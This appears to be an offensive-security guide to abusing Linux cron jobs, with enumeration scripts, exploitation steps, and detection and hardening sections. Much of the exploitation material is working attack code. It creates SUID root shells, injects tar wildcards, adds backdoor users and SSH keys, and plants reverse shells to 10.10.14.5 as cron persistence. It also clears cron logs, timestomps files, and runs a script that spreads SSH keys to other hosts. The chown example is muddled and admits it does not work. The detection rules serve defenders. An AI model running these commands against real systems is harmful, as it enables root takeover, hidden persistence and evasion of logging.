
Linux Cron Job Abuse for Privilege Escalation and Persistence
Comprehensive guide to exploiting cron job misconfigurations for privilege escalation and persistence, covering detection methods, exploitation techniques, and hardening strategies.
Introduction
Cron is the time-based job scheduling daemon in Unix-like operating systems, allowing users and administrators to automate recurring tasks. The cron daemon (crond) runs in the background and executes commands or scripts at scheduled intervals defined in configuration files called crontabs. While cron provides essential system automation capabilities, misconfigurations and weak permissions create powerful privilege escalation and persistence vectors for attackers.
Cron jobs execute with the privileges of the user who owns the crontab, making root-owned cron jobs particularly valuable targets. If a root cron job executes a world-writable script or references files in user-controlled directories, attackers can inject malicious code that executes with root privileges. Additionally, users with write access to system cron directories (/etc/cron.d/, /etc/cron.daily/) can create persistent backdoors that survive reboots and execute at predictable intervals.
Cron-based privilege escalation manifests in several scenarios:
- World-writable cron scripts: Root cron jobs executing scripts modifiable by unprivileged users
- Relative path vulnerabilities: Cron jobs using commands without absolute paths (combined with PATH manipulation)
- Wildcard injection: Cron jobs using wildcards in commands (e.g.,
tar *,chown *) - Writable cron directories: User access to
/etc/cron.d/,/etc/cron.hourly/, etc. - Race conditions: Exploiting time-of-check-to-time-of-use vulnerabilities in cron scripts
- Symlink attacks: Manipulating symbolic links referenced by cron jobs
Cron Exploitation in the Wild
Cron job abuse remains a staple technique in privilege escalation:
- 35-45% of Linux privilege escalation opportunities involve cron misconfigurations
- Legacy systems often have world-writable cron scripts from years-old deployments
- Backup scripts are frequent targets due to their need to access sensitive data
- Custom automation by system administrators often lacks security review
- Container environments sometimes have relaxed cron permissions
- IoT and embedded devices ship with insecure cron configurations
Cron exploitation is reliable, stealthy (executes at predictable times), and provides automatic persistence (survives reboots).
Technical Background
Cron Architecture
The cron system consists of several components:
Cron Daemon (crond/cron):
- Runs continuously in the background
- Checks crontab files every minute
- Executes scheduled commands as the appropriate user
- Logs execution to syslog (typically
/var/log/cronor/var/log/syslog)
Crontab Files: Define scheduled jobs
| Location | Purpose | Ownership | Typical Permissions |
|---|---|---|---|
/etc/crontab | System-wide crontab | root:root | 644 |
/etc/cron.d/ | System cron jobs (modular) | root:root | 644 per file |
/var/spool/cron/crontabs/ | User-specific crontabs | user:crontab | 600 |
/etc/cron.hourly/ | Scripts run hourly | root:root | 755 for scripts |
/etc/cron.daily/ | Scripts run daily | root:root | 755 for scripts |
/etc/cron.weekly/ | Scripts run weekly | root:root | 755 for scripts |
/etc/cron.monthly/ | Scripts run monthly | root:root | 755 for scripts |
Cron Access Control:
/etc/cron.allow: Users permitted to use cron (if exists, only these users allowed)/etc/cron.deny: Users prohibited from using cron (if no cron.allow exists)
Crontab Syntax
Crontab entries follow this format:
# ┌───────────── minute (0 - 59)
# │ ┌───────────── hour (0 - 23)
# │ │ ┌───────────── day of month (1 - 31)
# │ │ │ ┌───────────── month (1 - 12)
# │ │ │ │ ┌───────────── day of week (0 - 6) (Sunday=0)
# │ │ │ │ │
# │ │ │ │ │
# * * * * * command to execute
# Examples:
*/5 * * * * /usr/local/bin/check_system.sh # Every 5 minutes
0 */12 * * * /home/admin/backup.sh # Every 12 hours
0 2 * * * /usr/local/bin/cleanup.sh # Daily at 2 AM
0 0 * * 0 /usr/local/bin/weekly_report.sh # Weekly on Sunday at midnight
@reboot /usr/local/bin/startup_script.sh # At system bootSpecial strings:
@reboot: Run once at startup@yearly/@annually: Run once a year (0 0 1 1 *)@monthly: Run once a month (0 0 1 * *)@weekly: Run once a week (0 0 * * 0)@daily/@midnight: Run once a day (0 0 * * *)@hourly: Run once an hour (0 * * * *)
Common Cron Misconfigurations
World-Writable Cron Scripts
Vulnerability: Root cron job executes a script that any user can modify.
# /etc/crontab
*/5 * * * * root /usr/local/bin/backup.sh
# Check permissions
ls -la /usr/local/bin/backup.sh
# -rwxrwxrwx 1 root root 1234 Jan 15 10:30 /usr/local/bin/backup.sh
# ^^^^^^^^^ WORLD WRITABLE!Impact: Any user can modify backup.sh to execute arbitrary commands as root.
Exploitation:
# Append malicious code to the script
echo 'cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash' >> /usr/local/bin/backup.sh
# Wait for cron execution (up to 5 minutes)
# Then get root shell
/tmp/rootbash -pWritable Directories Referenced by Cron
Vulnerability: Cron job operates on files in a user-writable directory.
# /etc/crontab
*/10 * * * * root /usr/bin/tar -czf /backup/home.tar.gz /home/user/*.conf
# The /home/user/ directory is writable by user
ls -ld /home/user/
# drwxrwxrwx 2 user user 4096 Jan 15 10:30 /home/user/Impact: User can create malicious files that get included in the tar archive, potentially exploiting tar vulnerabilities or wildcard injection.
Relative Paths in Cron Jobs
Vulnerability: Cron job uses commands without absolute paths, relying on PATH environment variable.
# /etc/crontab
*/15 * * * * root backup_script.shImpact: If attacker can control PATH or create backup_script.sh in a directory that precedes the legitimate location, they can hijack execution.
Note: System cron jobs (/etc/crontab, /etc/cron.d/*) typically define PATH explicitly, reducing this risk. User crontabs may be more vulnerable.
Wildcard Injection
Vulnerability: Cron job uses wildcards with commands that interpret filenames as arguments.
# /etc/cron.daily/backup
#!/bin/bash
cd /home/backups/
tar czf /backup/data.tar.gz *
chown backup:backup /backup/*Impact: An attacker can create specially named files that become command arguments.
Example exploitation:
# In /home/backups/, create:
touch -- "--checkpoint=1"
touch -- "--checkpoint-action=exec=sh shell.sh"
echo 'cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash' > shell.sh
# When tar runs with *, these become arguments:
# tar czf /backup/data.tar.gz --checkpoint=1 --checkpoint-action=exec=sh shell.sh [other files]
# tar executes shell.sh, creating SUID root shellDetection and Enumeration
Enumerating Cron Jobs
# List system-wide cron jobs
cat /etc/crontab
# List cron.d jobs
ls -la /etc/cron.d/
cat /etc/cron.d/*
# List periodic cron scripts
ls -la /etc/cron.{hourly,daily,weekly,monthly}/
# List current user's crontab
crontab -l
# List other users' crontabs (requires root)
for user in $(cut -f1 -d: /etc/passwd); do
echo "Crontab for $user:"
crontab -u $user -l 2>/dev/null
done
# Check cron spool directory
ls -la /var/spool/cron/crontabs/
# View systemd timers (modern alternative to cron)
systemctl list-timers --allFinding Writable Cron Scripts
# Method 1: Find world-writable files referenced in cron jobs
grep -r "^\s*[^#]" /etc/cron* /etc/crontab 2>/dev/null | grep -oP '\s(/[^\s]+\.sh|/[^\s]+\.py|/[^\s]+\.pl)' | sort -u | while read script; do
if [ -f "$script" ] && [ -w "$script" ]; then
echo "[!] Writable cron script: $script"
ls -la "$script"
fi
done
# Method 2: Check permissions on all scripts in cron directories
find /etc/cron* -type f -executable 2>/dev/null | while read script; do
perms=$(stat -c %a "$script")
owner=$(stat -c %U:%G "$script")
if [ "$perms" -ge 666 ]; then
echo "[!] Overly permissive: $script ($owner, $perms)"
fi
# Check if writable by current user
if [ -w "$script" ]; then
echo "[!] Writable by current user: $script"
fi
done
# Method 3: Find cron jobs operating in writable directories
grep -r "cd\s\+/\|^\s*/.*\.sh" /etc/cron* /etc/crontab 2>/dev/null | while read line; do
dir=$(echo "$line" | grep -oP '(?<=cd\s)/[^\s;]+')
if [ -n "$dir" ] && [ -d "$dir" ] && [ -w "$dir" ]; then
echo "[!] Cron operates in writable directory: $dir"
echo " Line: $line"
fi
doneMonitoring Cron Execution
Use pspy to monitor cron job execution without root privileges:
# Download pspy
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64
chmod +x pspy64
# Run pspy to monitor processes
./pspy64 -pf -i 1000
# Output shows cron jobs as they execute:
# 2026-02-12 10:00:01 CMD: UID=0 PID=12345 | /bin/sh -c /usr/local/bin/backup.sh
# 2026-02-12 10:00:01 CMD: UID=0 PID=12346 | /bin/bash /usr/local/bin/backup.sh
# 2026-02-12 10:00:02 CMD: UID=0 PID=12347 | tar czf /backup/data.tar.gz /data/
# Identify:
# - Cron jobs running as root (UID=0)
# - Scripts and commands being executed
# - Frequency of execution
# - Working directoriesAnalyzing Cron Logs
# View cron execution logs (Debian/Ubuntu)
grep CRON /var/log/syslog | tail -n 50
# View cron logs (Red Hat/CentOS)
grep CRON /var/log/cron | tail -n 50
# Extract unique cron commands
grep CRON /var/log/syslog | grep CMD | awk -F'CMD' '{print $2}' | sort -u
# Find recently executed cron jobs
grep CRON /var/log/syslog | grep "$(date +%b\ %d)" | grep CMD
# Identify cron jobs that failed
grep CRON /var/log/syslog | grep -i "error\|fail"Automated Enumeration
# LinPEAS - Linux Privilege Escalation Awesome Script
./linpeas.sh | grep -A 30 "CRON"
# Output includes:
# [+] Cron jobs
# [i] https://book.hacktricks.xyz/linux-hardening/privilege-escalation#scheduled-cron-jobs
#
# /etc/crontab:
# */5 * * * * root /usr/local/bin/backup.sh
#
# [!] /usr/local/bin/backup.sh is writable by current user
#
# Analyzing scripts in /etc/cron.d/...
# [!] /etc/cron.d/backup contains writable script reference
# Full enumeration with thorough checks
./linpeas.sh -a 2>&1 | tee linpeas_output.txt# LinEnum - Linux Enumeration Script
./LinEnum.sh -t
# Check cron section in output:
# Cron jobs:
# -rw-r--r-- 1 root root 722 Apr 5 2016 /etc/crontab
# */5 * * * * root /usr/local/bin/backup.sh
#
# Cron jobs writable by current user:
# [+] /usr/local/bin/backup.sh
# Look for keyword reports
./LinEnum.sh -k password -k backup -r report.txt# pspy - Monitor processes without root
./pspy64 -pf -i 1000 > pspy_output.txt &
# Let run for 15-30 minutes to capture cron cycles
sleep 1800
# Analyze output
grep "UID=0" pspy_output.txt | grep -E "sh|bash|python|perl" | sort -u
# Identify patterns
grep "CMD:" pspy_output.txt | awk '{print $NF}' | sort | uniq -c | sort -rn
# Find scripts executed by root
grep "UID=0" pspy_output.txt | grep -oP '/[^\s]+\.(sh|py|pl)' | sort -u#!/bin/bash
# Comprehensive cron enumeration
echo "[*] Cron Enumeration Script"
echo "[*] ========================"
# 1. List all cron jobs
echo -e "\n[*] System-wide cron jobs:"
cat /etc/crontab 2>/dev/null
echo -e "\n[*] Cron.d jobs:"
find /etc/cron.d/ -type f 2>/dev/null -exec echo "--- {} ---" \; -exec cat {} \;
echo -e "\n[*] Periodic cron scripts:"
for dir in /etc/cron.hourly /etc/cron.daily /etc/cron.weekly /etc/cron.monthly; do
echo "Directory: $dir"
ls -la "$dir" 2>/dev/null
done
# 2. Check for writable scripts
echo -e "\n[*] Checking for writable cron scripts..."
find /etc/cron* -type f 2>/dev/null | while read file; do
if [ -w "$file" ]; then
echo "[!] Writable: $file"
ls -la "$file"
fi
done
# 3. Extract script paths from cron jobs
echo -e "\n[*] Analyzing referenced scripts..."
grep -rhE "^\s*(\*|[0-9])" /etc/cron* /etc/crontab 2>/dev/null | \
grep -v "^#" | \
grep -oP '/[^\s]+\.(sh|py|pl|rb)' | \
sort -u | \
while read script; do
if [ -f "$script" ]; then
perms=$(stat -c %a "$script" 2>/dev/null)
owner=$(stat -c %U:%G "$script" 2>/dev/null)
writable=$([ -w "$script" ] && echo "YES" || echo "NO")
echo "Script: $script"
echo " Permissions: $perms ($owner)"
echo " Writable: $writable"
if [ "$writable" == "YES" ]; then
echo " [!] EXPLOITABLE"
fi
fi
done
# 4. Check for wildcard usage
echo -e "\n[*] Checking for wildcard usage..."
grep -rhE "tar.*\*|chown.*\*|chmod.*\*|rsync.*\*" /etc/cron* /var/spool/cron/crontabs/* 2>/dev/null | \
while read line; do
echo "[!] Potential wildcard injection: $line"
done
echo -e "\n[*] Enumeration complete"Exploitation Techniques
Exploiting World-Writable Cron Scripts
The most straightforward privilege escalation:
Identify Writable Script
Find a cron job running as root that executes a world-writable script
Backup Original Script
Preserve the original for restoration and stealth
Inject Malicious Code
Append commands to create backdoor or root shell
Wait for Execution
Cron will execute the modified script at its scheduled time
Verify Success
Confirm root access via backdoor account or SUID shell
Restore Original (Optional)
Clean up to avoid detection
Complete exploitation example:
# Step 1: Identify vulnerable cron job
cat /etc/crontab
# */3 * * * * root /dmz-backups/backup.sh
# Step 2: Check permissions
ls -la /dmz-backups/backup.sh
# -rwxrwxrwx 1 root root 230 Jan 15 10:30 /dmz-backups/backup.sh
# Step 3: Examine the script
cat /dmz-backups/backup.sh
#!/bin/bash
SRCDIR="/var/www/html"
DESTDIR="/dmz-backups/"
FILENAME=www-backup-$(date +%Y%m%d-%H%M%S).tgz
tar --absolute-names --create --gzip --file=$DESTDIR$FILENAME $SRCDIR
# Step 4: Backup original
cp /dmz-backups/backup.sh /tmp/backup.sh.bak
# Step 5: Inject malicious code (multiple options)
# Option A: Create SUID root shell
echo 'cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash' >> /dmz-backups/backup.sh
# Option B: Add backdoor user
echo 'useradd -m -s /bin/bash -G sudo backdoor; echo "backdoor:P@ssw0rd123" | chpasswd' >> /dmz-backups/backup.sh
# Option C: Reverse shell
echo 'bash -i >& /dev/tcp/10.10.14.5/443 0>&1' >> /dmz-backups/backup.sh
# Option D: SSH key injection
echo 'mkdir -p /root/.ssh; echo "ssh-rsa AAAAB3Nza... attacker@kali" >> /root/.ssh/authorized_keys; chmod 700 /root/.ssh; chmod 600 /root/.ssh/authorized_keys' >> /dmz-backups/backup.sh
# Step 6: Monitor for execution
watch -n 10 'ls -la /tmp/rootbash 2>/dev/null'
# Or use pspy
./pspy64 -pf | grep backup.sh
# Step 7: After cron executes (within 3 minutes), access root
/tmp/rootbash -p
id
# uid=1000(user) gid=1000(user) euid=0(root) egid=0(root) groups=0(root),1000(user)
whoami
# root
# Step 8: Clean up (optional)
cp /tmp/backup.sh.bak /dmz-backups/backup.sh
rm /tmp/backup.sh.bakWildcard Injection in Tar Commands
Exploiting tar's wildcard interpretation:
# Vulnerable cron job: /etc/cron.daily/backup
#!/bin/bash
cd /home/backups/
tar czf /backup/data.tar.gz *
# Exploitation:
cd /home/backups/
# Create checkpoint files
echo 'cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash' > shell.sh
chmod +x shell.sh
touch -- '--checkpoint=1'
touch -- '--checkpoint-action=exec=sh shell.sh'
# When cron executes tar czf /backup/data.tar.gz *
# The * expands to include --checkpoint=1 and --checkpoint-action=exec=sh shell.sh
# tar interprets these as command-line arguments
# tar executes shell.sh with root privileges
# Wait for cron execution
# Check for SUID shell
ls -la /tmp/rootbash
# Access root shell
/tmp/rootbash -pWildcard Injection in Chown Commands
Similar technique with chown:
# Vulnerable cron job
#!/bin/bash
cd /var/www/uploads/
chown www-data:www-data *
# Exploitation:
cd /var/www/uploads/
# Create reference file owned by root
touch rootfile
sudo chown root:root rootfile
# Create symlink and exploit chown --reference
ln -s /etc/passwd link_to_passwd
touch -- '--reference=rootfile'
# When chown runs: chown www-data:www-data --reference=rootfile link_to_passwd [other files]
# However, chown follows symlinks, and --reference doesn't work as exploitation vector for chown
# Better approach: Use --no-dereference to prevent following symlinks
# or manipulate PATH if chown is called without absolute pathExploiting Cron PATH Variable
When cron jobs use relative command names:
# Vulnerable cron job in /etc/cron.d/backup
PATH=/home/user/bin:/usr/local/bin:/usr/bin:/bin
*/5 * * * * root backup_data
# If /home/user/bin is user-writable:
mkdir -p /home/user/bin
cat > /home/user/bin/backup_data << 'EOF'
#!/bin/bash
cp /bin/bash /tmp/rootbash
chmod 4755 /tmp/rootbash
# Optionally call real backup_data if it exists
/usr/local/bin/backup_data 2>/dev/null
EOF
chmod +x /home/user/bin/backup_data
# Wait for cron execution
# Access root shell
/tmp/rootbash -pExploiting Cron Scripts with Relative Paths
When scripts use commands without absolute paths:
# Vulnerable script: /usr/local/bin/system_check.sh (called by root cron)
#!/bin/bash
netstat -tulpn > /var/log/connections.log
ps aux > /var/log/processes.log
df -h > /var/log/disk_usage.log
# If we can modify PATH before script execution (rare, but possible with certain configurations)
# Or if the script sources a user-modifiable file that sets PATH
# Create malicious 'netstat'
mkdir /tmp/exploit
cat > /tmp/exploit/netstat << 'EOF'
#!/bin/bash
cp /bin/bash /tmp/rootbash
chmod 4755 /tmp/rootbash
/bin/netstat "$@" # Call real netstat to avoid suspicion
EOF
chmod +x /tmp/exploit/netstat
# Modify PATH if possible (e.g., via /etc/environment or script injection)
# Then wait for cron executionRace Condition Exploitation
Exploiting TOCTOU (Time-Of-Check-To-Time-Of-Use) vulnerabilities:
# Vulnerable cron script: /etc/cron.daily/cleanup
#!/bin/bash
LOG_FILE="/var/log/cleanup.log"
if [ -f "$LOG_FILE" ]; then
cat "$LOG_FILE" > /dev/null
fi
rm -f /tmp/*.tmp
# Exploitation via symlink race:
# The script checks if LOG_FILE exists, then reads it
# Between check and read, we can replace with symlink to sensitive file
while true; do
# Create regular file
touch /var/log/cleanup.log
# Immediately replace with symlink
rm /var/log/cleanup.log
ln -s /etc/shadow /var/log/cleanup.log
sleep 0.01
done &
# Race the cron execution
# If successful, cron will cat /etc/shadow (or other sensitive file)
# Can redirect output or use to escalate privilegesAdvanced Exploitation Scenarios
Persistence via Cron
Create persistent backdoors using cron:
# Method 1: Add to system crontab (requires root)
echo '*/5 * * * * root /usr/bin/python3 -c "import socket,os,pty;s=socket.socket();s.connect((\"10.10.14.5\",443));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/bash\")"' >> /etc/crontab
# Method 2: Add to cron.d (requires root)
cat > /etc/cron.d/persistence << 'EOF'
*/10 * * * * root /bin/bash -c 'bash -i >& /dev/tcp/10.10.14.5/443 0>&1'
EOF
chmod 644 /etc/cron.d/persistence
# Method 3: User crontab (lower privilege)
(crontab -l 2>/dev/null; echo "*/15 * * * * /tmp/.hidden/beacon.sh") | crontab -
# Method 4: @reboot for persistent execution
(crontab -l 2>/dev/null; echo "@reboot /tmp/.backdoor/startup.sh") | crontab -
# Method 5: Hide in legitimate-looking job
(crontab -l 2>/dev/null; echo "0 3 * * * /usr/local/bin/system_update.sh") | crontab -
# Where system_update.sh contains backdoor + legitimate functionality
# Listener on attacker machine
nc -lvnp 443Covering Tracks
Minimize detection after exploitation:
# 1. Restore original script after exploitation
cp /tmp/backup_original.sh /usr/local/bin/backup.sh
# 2. Clear cron logs
sed -i '/backup.sh/d' /var/log/cron
sed -i '/backup.sh/d' /var/log/syslog
# 3. Modify script to self-restore after creating backdoor
cat >> /usr/local/bin/backup.sh << 'EOF'
# Create backdoor
cp /bin/bash /tmp/.hidden/rootbash
chmod 4755 /tmp/.hidden/rootbash
# Restore original script
curl -s http://10.10.14.5/backup_original.sh > /usr/local/bin/backup.sh
chmod 755 /usr/local/bin/backup.sh
EOF
# 4. Use temporary cron jobs that delete themselves
echo "* * * * * root /tmp/payload.sh && sed -i '/payload.sh/d' /etc/crontab" >> /etc/crontab
# 5. Timestomp modified files
touch -r /etc/passwd /usr/local/bin/backup.shLateral Movement via Cron
Spread access across multiple systems:
# Scenario: Compromised server with root cron access
# Add cron job that spreads SSH key to other servers
cat > /etc/cron.d/propagate << 'EOF'
*/30 * * * * root /usr/local/bin/spread_access.sh
EOF
cat > /usr/local/bin/spread_access.sh << 'EOF'
#!/bin/bash
SSH_KEY="ssh-rsa AAAAB3NzaC1yc2E... attacker@kali"
TARGETS="10.10.10.10 10.10.10.11 10.10.10.12"
for target in $TARGETS; do
ssh -o StrictHostKeyChecking=no root@$target "mkdir -p /root/.ssh; echo '$SSH_KEY' >> /root/.ssh/authorized_keys; chmod 700 /root/.ssh; chmod 600 /root/.ssh/authorized_keys" 2>/dev/null &
done
EOF
chmod 755 /usr/local/bin/spread_access.sh
# Cron will automatically attempt to spread access every 30 minutesDetection and Monitoring
Real-Time Cron Monitoring
# Monitor cron execution in real-time
tail -f /var/log/cron /var/log/syslog | grep CRON
# Watch for file modifications in cron directories
inotifywait -m -r -e modify,create,delete /etc/cron* --format '%T %w%f %e' --timefmt '%Y-%m-%d %H:%M:%S'
# Audit cron file access
auditctl -w /etc/crontab -p wa -k cron_modification
auditctl -w /etc/cron.d/ -p wa -k cron_modification
auditctl -w /var/spool/cron/crontabs/ -p wa -k cron_modification
# View audit logs
ausearch -k cron_modificationCron Job Baseline
# Create baseline of all cron jobs
#!/bin/bash
BASELINE="/var/security/cron_baseline.txt"
{
echo "=== /etc/crontab ==="
cat /etc/crontab 2>/dev/null
echo -e "\n=== /etc/cron.d/ ==="
find /etc/cron.d/ -type f -exec echo "--- {} ---" \; -exec cat {} \;
echo -e "\n=== Periodic cron scripts ==="
for dir in /etc/cron.hourly /etc/cron.daily /etc/cron.weekly /etc/cron.monthly; do
echo "Directory: $dir"
ls -la "$dir" 2>/dev/null
for script in "$dir"/*; do
[ -f "$script" ] && echo "$(md5sum "$script")"
done
done
echo -e "\n=== User crontabs ==="
for user in $(cut -f1 -d: /etc/passwd); do
crontab -u "$user" -l 2>/dev/null && echo "User: $user"
done
} > "$BASELINE"
# Periodic comparison
CURRENT="/tmp/cron_current.txt"
# Generate current state (same commands as above)
diff "$BASELINE" "$CURRENT" > /tmp/cron_changes.txt
if [ -s /tmp/cron_changes.txt ]; then
echo "[!] Cron changes detected!"
cat /tmp/cron_changes.txt
mail -s "Cron Job Changes Detected" [email protected] < /tmp/cron_changes.txt
fiSIEM Detection Rules
Splunk query for suspicious cron activity:
index=linux sourcetype=syslog "CRON"
| rex field=_raw "CMD\s+\((?<cron_command>.*)\)"
| where (
match(cron_command, "(?i)(bash -i|nc |ncat |/dev/tcp|python.*socket|perl.*socket|ruby.*socket)")
OR match(cron_command, "(?i)(wget|curl).*http")
OR match(cron_command, "(?i)chmod.*4[0-9]{3}")
OR match(cron_command, "(?i)cp.*/bin/bash.*/tmp")
)
| stats count by host, user, cron_command
| where count > 0Elastic Stack (EQL) detection:
sequence by host.name with maxspan=5m
[file where event.type == "change" and
file.path : ("/etc/crontab", "/etc/cron.d/*", "/var/spool/cron/crontabs/*")]
[process where event.type == "start" and
process.parent.name == "cron" and
process.args : ("bash", "sh", "python", "perl", "*socket*", "*http*")]Sigma Rule
title: Suspicious Cron Job Activity
id: 7f8e3b2a-9c4d-4e6f-8a5b-1c2d3e4f5a6b
status: experimental
description: Detects suspicious commands executed via cron jobs
references:
- https://attack.mitre.org/techniques/T1053/003/
tags:
- attack.persistence
- attack.privilege_escalation
- attack.t1053.003
logsource:
product: linux
service: syslog
detection:
selection:
message|contains: 'CRON'
filter_suspicious:
message|contains:
- 'bash -i'
- '/dev/tcp'
- 'nc -'
- 'wget http'
- 'curl http'
- 'chmod 4'
- 'cp /bin/bash'
- 'python -c'
- 'perl -e'
condition: selection and filter_suspicious
falsepositives:
- Legitimate administrative automation
- Monitoring scripts
level: highMitigation and Hardening
Secure Cron Configuration
# 1. Set proper permissions on cron files
chmod 600 /etc/crontab
chmod 700 /etc/cron.d
chmod 700 /etc/cron.{hourly,daily,weekly,monthly}
chmod 700 /var/spool/cron/crontabs
# 2. Restrict cron access
# Allow only specific users
echo "root" > /etc/cron.allow
echo "admin" >> /etc/cron.allow
chmod 600 /etc/cron.allow
# Or deny specific users
echo "www-data" > /etc/cron.deny
echo "nobody" >> /etc/cron.deny
chmod 600 /etc/cron.deny
# 3. Remove world-writable permissions
find /etc/cron* -type f -perm -002 -exec chmod o-w {} \;
find /etc/cron* -type d -perm -002 -exec chmod o-w {} \;
# 4. Audit current permissions
find /etc/cron* -type f -ls
find /var/spool/cron -type f -lsSecure Script Development
# Best practices for cron-executed scripts
#!/bin/bash
# 1. Set strict error handling
set -euo pipefail
# 2. Define absolute PATH
export PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
# 3. Use absolute paths for all commands
/bin/echo "Starting backup..."
/usr/bin/tar czf /backup/data.tar.gz /data/
/bin/gzip /backup/data.tar.gz
/bin/rm -f /tmp/temp_files
# 4. Validate input and environment
if [[ "$PATH" =~ \.|/tmp ]]; then
/bin/echo "Insecure PATH detected. Exiting." >&2
exit 1
fi
# 5. Use safe temporary files
TEMP_FILE=$(/bin/mktemp /var/tmp/backup.XXXXXX)
trap "/bin/rm -f $TEMP_FILE" EXIT
# 6. Avoid wildcards with untrusted input
# BAD: tar czf backup.tar.gz *
# GOOD:
/usr/bin/find /data/ -type f -name "*.conf" -print0 | \
/usr/bin/xargs -0 /usr/bin/tar czf /backup/config.tar.gz
# 7. Log execution
/usr/bin/logger -t backup "Backup completed successfully"
# 8. Check file ownership before operations
if [ "$(/usr/bin/stat -c %U /data/sensitive)" != "root" ]; then
/bin/echo "Ownership mismatch detected. Exiting." >&2
exit 1
fi
# 9. Set restrictive umask
umask 077
# 10. Drop privileges when possible
if [ "$EUID" -eq 0 ]; then
# Perform root operations
/bin/echo "Running as root"
# Then drop to unprivileged user for other operations
/bin/su -s /bin/bash -c '/usr/bin/some_command' nobody
fiFile System Hardening
# Protect against symlink attacks
echo 1 > /proc/sys/fs/protected_symlinks
echo "fs.protected_symlinks = 1" >> /etc/sysctl.conf
# Protect against hardlink attacks
echo 1 > /proc/sys/fs/protected_hardlinks
echo "fs.protected_hardlinks = 1" >> /etc/sysctl.conf
# Restrict /tmp with noexec (prevents execution from /tmp)
mount -o remount,noexec /tmp
# Make permanent in /etc/fstab:
# tmpfs /tmp tmpfs defaults,noexec,nosuid,nodev 0 0
# Set restrictive permissions on common exploitation paths
chmod 1777 /tmp /var/tmp # Sticky bit
chmod 755 /usr/local/bin
chmod 755 /homeContinuous Monitoring
# Deploy monitoring cron job (as root)
cat > /etc/cron.hourly/cron_monitor << 'EOF'
#!/bin/bash
BASELINE="/var/security/cron_baseline.md5"
CURRENT="/tmp/cron_current.md5"
ALERT_EMAIL="[email protected]"
# Generate current checksums
find /etc/cron* /var/spool/cron -type f -exec md5sum {} \; 2>/dev/null | sort > "$CURRENT"
# Compare with baseline
if [ -f "$BASELINE" ]; then
if ! diff -q "$BASELINE" "$CURRENT" > /dev/null; then
echo "Cron job modifications detected on $(hostname) at $(date)" | \
mail -s "ALERT: Cron Changes on $(hostname)" "$ALERT_EMAIL"
diff "$BASELINE" "$CURRENT" | \
mail -s "Cron Change Details - $(hostname)" "$ALERT_EMAIL"
fi
fi
# Update baseline
cp "$CURRENT" "$BASELINE"
EOF
chmod 755 /etc/cron.hourly/cron_monitor
# Initial baseline
/etc/cron.hourly/cron_monitorReferences
MITRE ATT&CK Techniques
- T1053.003 - Scheduled Task/Job: Cron - Primary cron abuse technique
- T1053 - Scheduled Task/Job - Parent technique
- T1574 - Hijack Execution Flow - Script/binary hijacking in cron jobs
Linux Documentation
- Linux Manual: crontab(5) - Crontab file format
- Linux Manual: cron(8) - Cron daemon documentation
Security Resources
- GTFOBins: Cron - Cron exploitation techniques
- HackTricks: Cron Job Abuse - Comprehensive guide
Next Steps
After identifying or securing cron vulnerabilities:
- Audit all cron jobs for script permissions and command safety
- Implement file integrity monitoring for cron files and scripts
- Enforce secure script development practices for system automation
- Deploy real-time monitoring for cron execution and modifications
- Educate administrators on cron security best practices
- Explore related Linux privilege escalation techniques:
Takeaway: Cron job misconfigurations provide reliable privilege escalation and persistence opportunities on Linux systems. The combination of proper file permissions, secure script development, absolute paths, wildcard avoidance, file integrity monitoring, and real-time detection provides comprehensive defense against cron-based attacks. Make cron security a core component of your Linux hardening checklist and system administration training programs.
Last updated on
Linux Capabilities Exploitation: Breaking Traditional Privilege Models
Technical guide to exploiting Linux capabilities for privilege escalation, focusing on dangerous capabilities like CAP_DAC_OVERRIDE, CAP_SYS_ADMIN, and CAP_SETUID.
Linux Kernel Exploits
Guide to identifying and exploiting Linux kernel vulnerabilities for privilege escalation, including enumeration techniques, common exploits, and safety considerations.